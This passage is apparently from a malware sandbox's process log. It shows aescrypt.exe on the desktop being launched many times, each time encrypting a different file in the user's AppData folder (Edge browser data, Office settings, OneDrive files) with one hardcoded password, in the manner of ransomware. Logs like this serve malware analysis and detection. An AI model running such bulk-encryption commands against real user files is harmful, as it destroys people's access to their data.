  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log"
  2⤵
  PID:8208
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\CURRENT"
  2⤵
  PID:8204
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOCK"
  2⤵
  PID:8220
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG"
  2⤵
  PID:8900
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old"
  2⤵
  PID:8888
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\MANIFEST-000001"
  2⤵
  PID:1896
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\optimization_guide_hint_cache_store\LOCK"
  2⤵
  PID:8916
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\optimization_guide_hint_cache_store\LOG"
  2⤵
  PID:7956
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\optimization_guide_model_and_features_store\LOCK"
  2⤵
  PID:8940
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\optimization_guide_model_and_features_store\LOG"
  2⤵
  PID:8952
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log"
  2⤵
  PID:6560
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\CURRENT"
  2⤵
  PID:6028
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOCK"
  2⤵
  PID:6492
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG"
  2⤵
  PID:8968
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\MANIFEST-000001"
  2⤵
  PID:5864
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13353436819231527"
  2⤵
  PID:5388
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Tabs_13353436826415527"
  2⤵
  PID:6568
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log"
  2⤵
  PID:6572
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\CURRENT"
  2⤵
  PID:6508
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOCK"
  2⤵
  PID:5984
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG"
  2⤵
  PID:6504
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\MANIFEST-000001"
  2⤵
  PID:7104
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log"
  2⤵
  PID:7148
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\CURRENT"
  2⤵
  PID:7128
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOCK"
  2⤵
  PID:7644
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG"
  2⤵
  PID:6204
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\MANIFEST-000001"
  2⤵
  PID:6904
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000003.log"
  2⤵
  PID:4728
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\CURRENT"
  2⤵
  PID:8292
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOCK"
  2⤵
  PID:5364
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG"
  2⤵
  PID:4344
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old"
  2⤵
  PID:5144
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\MANIFEST-000001"
  2⤵
  PID:5932
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\000003.log"
  2⤵
  PID:6452
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\CURRENT"
  2⤵
  PID:8984
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOCK"
  2⤵
  PID:5960
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG"
  2⤵
  PID:7824
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old"
  2⤵
  PID:6432
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\MANIFEST-000001"
  2⤵
  PID:7332
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_0"
  2⤵
  PID:7328
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_1"
  2⤵
  PID:7828
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_2"
  2⤵
  PID:3344
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_3"
  2⤵
  PID:7900
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\index"
  2⤵
  PID:8140
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_0"
  2⤵
  PID:5860
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_1"
  2⤵
  PID:7952
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_2"
  2⤵
  PID:7776
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_3"
  2⤵
  PID:6720
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\index"
  2⤵
  PID:6296
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\cache"
  2⤵
  PID:944
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\download_cache"
  2⤵
  PID:2272
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\warnStateCache"
  2⤵
  PID:2488
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\GameDVR\KnownGameList.bin"
  2⤵
  PID:7868
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\brndlog.txt"
  2⤵
  PID:7036
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\ie4uinit-ClearIconCache.log"
  2⤵
  PID:6576
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\ie4uinit-UserConfig.log"
  2⤵
  PID:6616
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT"
  2⤵
  PID:7624
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml"
  2⤵
  PID:7260
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Last Active\RecoveryStore.{EE97AC33-D4BA-11EE-AE45-62A9A9A84F8B}.dat"
  2⤵
  PID:6584
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\000049F9\01_Music_auto_rated_at_5_stars.wpl"
  2⤵
  PID:7272
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\000049F9\02_Music_added_in_the_last_month.wpl"
  2⤵
  PID:8044
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\000049F9\03_Music_rated_at_4_or_5_stars.wpl"
  2⤵
  PID:7292
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\000049F9\04_Music_played_in_the_last_month.wpl"
  2⤵
  PID:7504
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\000049F9\05_Pictures_taken_in_the_last_month.wpl"
  2⤵
  PID:5768
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\000049F9\06_Pictures_rated_4_or_5_stars.wpl"
  2⤵
  PID:7048
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\000049F9\07_TV_recorded_in_the_last_week.wpl"
  2⤵
  PID:7056
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\000049F9\08_Video_rated_at_4_or_5_stars.wpl"
  2⤵
  PID:6344
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\000049F9\09_Music_played_the_most.wpl"
  2⤵
  PID:7288
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\000049F9\10_All_Music.wpl"
  2⤵
  PID:6420
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\000049F9\11_All_Pictures.wpl"
  2⤵
  PID:6608
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\000049F9\12_All_Video.wpl"
  2⤵
  PID:7672
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Office\Word16.customUI"
  2⤵
  PID:7792
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules.xml"
  2⤵
  PID:5096
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\msoia.exe_Rules.xml"
  2⤵
  PID:8992
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\office2016setup.exe_Rules.xml"
  2⤵
  PID:6184
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml"
  2⤵
  PID:6240
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\onenote.exe_Rules.xml"
  2⤵
  PID:6320
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\winword.exe_Rules.xml"
  2⤵
  PID:5556
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\Floodgate\Word.CampaignStates.json"
  2⤵
  PID:5692
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\Floodgate\Word.GovernedChannelStates.json"
  2⤵
  PID:8996
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\Floodgate\Word.Settings.json"
  2⤵
  PID:5684
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\Floodgate\Word.SurveyEventActivityStats.json"
  2⤵
  PID:5792
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\Floodgate\Word.SurveyHistoryStats.json"
  2⤵
  PID:5924
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\A6319FA2-1A66-40EF-AB73-059620962E04"
  2⤵
  PID:5876
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\A759DC52-94CD-4600-B087-E8D32E4E1C84"
  2⤵
  PID:5968
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Office\DLP\TenantInfo.xml"
  2⤵
  PID:5140
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Office\OTele\excel.exe.db"
  2⤵
  PID:5516
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Office\OTele\excel.exe.db-shm"
  2⤵
  PID:5504
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Office\OTele\excel.exe.db-wal"
  2⤵
  PID:4272
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db"
  2⤵
  PID:6396
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Office\OTele\onenote.exe.db"
  2⤵
  PID:5544
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\Office\OTele\winword.exe.db"
  2⤵
  PID:5404
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe"
  2⤵
  PID:6532
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.VisualElementsManifest.xml"
  2⤵
  PID:6556
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe"
  2⤵
  PID:5936
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Resources.pri"
  2⤵
  PID:5608
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adal.dll"
  2⤵
  PID:5620
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\alertIcon.png"
  2⤵
  PID:5780
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-console-l1-1-0.dll"
  2⤵
  PID:6636
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-datetime-l1-1-0.dll"
  2⤵
  PID:5796
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-debug-l1-1-0.dll"
  2⤵
  PID:6256
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-errorhandling-l1-1-0.dll"
  2⤵
  PID:6340
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-file-l1-1-0.dll"
  2⤵
  PID:9008
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-file-l1-2-0.dll"
  2⤵
  PID:4000
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-file-l2-1-0.dll"
  2⤵
  PID:1056
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-handle-l1-1-0.dll"
  2⤵
  PID:544
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-heap-l1-1-0.dll"
  2⤵
  PID:3576
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-interlocked-l1-1-0.dll"
  2⤵
  PID:4496
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-libraryloader-l1-1-0.dll"
  2⤵
  PID:4528
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-localization-l1-2-0.dll"
  2⤵
  PID:3464
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-memory-l1-1-0.dll"
  2⤵
  PID:3308
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-namedpipe-l1-1-0.dll"
  2⤵
  PID:3184
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-processenvironment-l1-1-0.dll"
  2⤵
  PID:5956
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-processthreads-l1-1-0.dll"
  2⤵
  PID:5852
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-processthreads-l1-1-1.dll"
  2⤵
  PID:9044
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-profile-l1-1-0.dll"
  2⤵
  PID:9060
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-rtlsupport-l1-1-0.dll"
  2⤵
  PID:3620
- C:\Users\Admin\Desktop\aescrypt.exe
  aescrypt -e -p "A3d8PkXRyFGbGUshgWssgwRsh" "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-string-l1-1-0.dll"
